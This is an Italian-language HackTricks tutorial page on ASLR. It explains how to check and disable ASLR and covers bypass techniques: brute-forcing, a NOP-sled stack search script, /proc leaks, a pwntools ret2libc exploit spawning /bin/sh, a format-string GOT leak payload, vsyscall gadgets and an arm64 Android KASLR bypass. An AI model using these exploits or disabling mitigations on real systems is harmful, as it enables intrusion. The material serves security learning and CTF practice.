ASLR
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Address Space Layout Randomization (ASLR) è una tecnica di sicurezza usata nei sistemi operativi per randomizzare gli indirizzi di memoria utilizzati dai processi di sistema e dalle applicazioni. In questo modo rende molto piĂš difficile per un attaccante prevedere la posizione di specifici processi e dati, come lo stack, lâheap e le shared libraries, mitigando cosĂŹ alcuni tipi di exploit, in particolare i buffer overflow.
Verifica dello stato di ASLR
Per controllare lo stato di ASLR su un sistema Linux, puoi leggere il valore dal file /proc/sys/kernel/randomize_va_space. Il valore memorizzato in questo file determina il tipo di ASLR applicato:
- 0: Nessuna randomizzazione. Tutto è statico.
- 1: Randomizzazione conservativa. Shared libraries, stack, mmap(), VDSO page vengono randomizzati.
- 2: Randomizzazione completa. Oltre agli elementi randomizzati dalla randomizzazione conservativa, la memoria gestita tramite
brk()viene randomizzata.
Puoi controllare lo stato di ASLR con il seguente comando:
cat /proc/sys/kernel/randomize_va_space
Disabilitare ASLR
Per disabilitare ASLR, imposta il valore di /proc/sys/kernel/randomize_va_space su 0. Disabilitare ASLR non è generalmente raccomandato al di fuori di scenari di testing o debugging. Ecco come puoi disabilitarlo:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Puoi anche disabilitare ASLR per unâesecuzione con:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Abilitare ASLR
Per abilitare ASLR, puoi scrivere un valore di 2 nel file /proc/sys/kernel/randomize_va_space. Questo richiede tipicamente privilegi di root. Lâabilitazione della randomizzazione completa può essere eseguita con il seguente comando:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistenza tra i riavvii
Le modifiche effettuate con i comandi echo sono temporanee e verranno azzerate al riavvio. Per rendere la modifica persistente, è necessario modificare il file /etc/sysctl.conf e aggiungere o modificare la seguente riga:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Dopo aver modificato /etc/sysctl.conf, applica le modifiche con:
sudo sysctl -p
Questo garantirĂ che le tue impostazioni ASLR rimangano attive dopo i riavvii.
Bypasses
32bit brute-forcing
PaX divide lo spazio degli indirizzi di processo in 3 groups:
- Code and data (initialized and uninitialized):
.text,.data, and.bssâ> 16 bits of entropy in thedelta_execvariable. Questa variabile viene inizializzata casualmente per ogni processo e aggiunta agli indirizzi iniziali. - Memory allocated by
mmap()and shared libraries â> 16 bits, nameddelta_mmap. - The stack â> 24 bits, referred to as
delta_stack. However, it effectively uses 11 bits (from the 10th to the 20th byte inclusive), aligned to 16 bytes â> This results in 524,288 possible real stack addresses.
I dati precedenti sono per sistemi a 32 bit e lâentropia finale ridotta rende possibile bypassare ASLR ripetendo lâesecuzione piĂš volte finchĂŠ lâexploit non ha successo.
Brute-force ideas:
- Se hai un overflow sufficientemente grande da ospitare una big NOP sled before the shellcode, potresti semplicemente brute-force gli indirizzi nello stack fino a quando il flusso jumps over some part of the NOP sled.
- Unâaltra opzione, nel caso lâoverflow non sia cosĂŹ grande e lâexploit possa essere eseguito localmente, è possibile add the NOP sled and shellcode in an environment variable.
- Se lâexploit è locale, puoi provare a brute-force lâindirizzo base di libc (utile per 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Se attacchi un server remoto, puoi provare a brute-force lâindirizzo della funzione
libcusleep, passando come argomento 10 (per esempio). Se a un certo punto il server impiega 10s in piĂš a rispondere, hai trovato lâindirizzo di questa funzione.
Tip
Nei sistemi 64bit lâentropia è molto piĂš alta e questo non dovrebbe essere possibile.
64 bits stack brute-forcing
Ă possibile occupare gran parte dello stack con env variables e poi provare ad abuse the binary centinaia/migliaia di volte in locale per sfruttarlo.
Il codice seguente mostra come sia possibile selezionare semplicemente un indirizzo nello stack e che ogni qualche centinaio di esecuzioni quellâindirizzo conterrĂ la NOP instruction:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Rilevamento NOP nello stack con Python brute-force
```python import subprocess import tracebackStart the process
nop = bâ\xD5\x1F\x20\x03â # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { âaâ: shellcode_env_var, âbâ: shellcode_env_var, âcâ: shellcode_env_var, âdâ: shellcode_env_var, âeâ: shellcode_env_var, âfâ: shellcode_env_var, âgâ: shellcode_env_var, âhâ: shellcode_env_var, âiâ: shellcode_env_var, âjâ: shellcode_env_var, âkâ: shellcode_env_var, âlâ: shellcode_env_var, âmâ: shellcode_env_var, ânâ: shellcode_env_var, âoâ: shellcode_env_var, âpâ: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=â\râ)
Define the path to your binary
binary_path = â./aslr-testingâ
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if â0xd5â in str(output): print(str(cont) + â -> â + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Informazioni locali (`/proc/[pid]/stat`)
Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da tutti e **contiene informazioni interessanti** come:
- **startcode** & **endcode**: Indirizzi che delimitano la sezione **TEXT** del binario
- **startstack**: L'indirizzo dell'inizio dello **stack**
- **start_data** & **end_data**: Indirizzi che delimitano dove si trova la **BSS**
- **kstkesp** & **kstkeip**: Indirizzi correnti di **ESP** e **EIP**
- **arg_start** & **arg_end**: Indirizzi che delimitano dove risiedono i **cli arguments**
- **env_start** &**env_end**: Indirizzi che delimitano dove risiedono le **env variables**
Quindi, se un attaccante si trova sulla stessa macchina del binario vulnerabile e questo binario non si aspetta l'overflow dai raw arguments, ma da un input diverso che può essere costruito dopo aver letto questo file, è possibile per l'attaccante ottenere alcuni indirizzi da questo file e calcolare offset a partire da essi per l'exploit.
> [!TIP]
> Per maggiori informazioni su questo file controlla [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) cercando `/proc/pid/stat`
### Avere un leak
- **The challenge is giving a leak**
Se ti viene fornito un leak (easy CTF challenges), puoi calcolare gli offset a partire da esso (supponendo, per esempio, che tu conosca la versione esatta di libc usata nel sistema che stai sfruttando). Questo esempio di exploit è estratto da [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (controlla quella pagina per piÚ dettagli):
<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Abusando di un buffer overflow sarebbe possibile sfruttare un ret2plt per esfiltrare lâindirizzo di una funzione dalla libc. Guarda:
- Format Strings Arbitrary Read
Proprio come in ret2plt, se hai una arbitrary read tramite una vulnerabilitĂ di format strings è possibile esfiltrare lâindirizzo di una libc function dal GOT. Il seguente esempio è preso da qui:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Puoi trovare piĂš informazioni su Format Strings arbitrary read in:
Ret2ret & Ret2pop
Prova a bypassare ASLR sfruttando indirizzi allâinterno dello stack:
vsyscall
Il meccanismo vsyscall serve a migliorare le performance permettendo che certi system calls vengano eseguiti in user space, anche se sono fondamentalmente parte del kernel. Il vantaggio critico delle vsyscalls risiede nei loro indirizzi fissi, che non sono soggetti a ASLR (Address Space Layout Randomization). Questa natura fissa significa che gli attackers non richiedono una vulnerabilitĂ di information leak per determinare i loro indirizzi e usarli in un exploit.
Tuttavia, qui non si troveranno gadget particolarmente interessanti (anche se, per esempio, è possibile ottenere lâequivalente di un ret;)
(Lâesempio e il codice seguente provengono da this writeup)
Per esempio, un attacker potrebbe usare lâindirizzo 0xffffffffff600800 in un exploit. Tentare di saltare direttamente a unâistruzione ret potrebbe portare a instabilitĂ o crash dopo lâesecuzione di un paio di gadget; invece, saltare allâinizio di un syscall fornito dalla sezione vsyscall può avere successo. Posizionando con cura un gadget ROP che porti lâesecuzione a questo indirizzo vsyscall, un attacker può ottenere code execution senza dover bypassare ASLR per questa parte dellâexploit.
Example vmmap/vsyscall and gadget lookup
```text ef⤠vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef⤠x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef⤠x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef⤠x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef⤠x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
Nota quindi come possa essere possibile bypass ASLR abusing the vdso se il kernel è compilato con CONFIG_COMPAT_VDSO, poichĂŠ lâindirizzo vdso non verrĂ randomizzato. Per maggiori informazioni controlla:
KASLR on ARM64 (Android): bypass via fixed linear map
Su molti kernel arm64 Android la kernel linear map (direct map) ha una base fissa tra i boot. Le Kernel VAs per le pagine fisiche diventano prevedibili, compromettendo KASLR per target raggiungibili tramite la direct map.
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymsper trovarememstart_addr- Leggi 8 byte a quellâindirizzo (LE) usando qualsiasi kernel read (es., tracing-BPF helper che chiama
BPF_FUNC_probe_read_kernel) - Calcola gli indirizzi virtuali della direct map:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- Non serve un leak KASLR separato se il target è nella/reachable via la direct map (es., page tables, kernel objects su pagine fisiche che puoi influenzare/osservare).
- Semplifica reliable arbitrary R/W e il targeting dei dati kernel su arm64 Android.
Reproduction summary
grep memstart /proc/kallsyms-> indirizzo dimemstart_addr- Kernel read -> decodifica 8 byte LE ->
PHYS_OFFSET - Usa
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)conPAGE_OFFSET=0xffffff8000000000
Note
Lâaccesso ai tracing-BPF helpers richiede privilegi sufficienti; qualsiasi kernel read primitive o info leak è sufficiente per ottenere
PHYS_OFFSET.
How itâs fixed
- Lo spazio VA del kernel limitato insieme a CONFIG_MEMORY_HOTPLUG riserva VA per futuri hotplug, spingendo la linear map verso la VA piĂš bassa (base fissa).
- Upstream arm64 ha rimosso la linear-map randomization (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

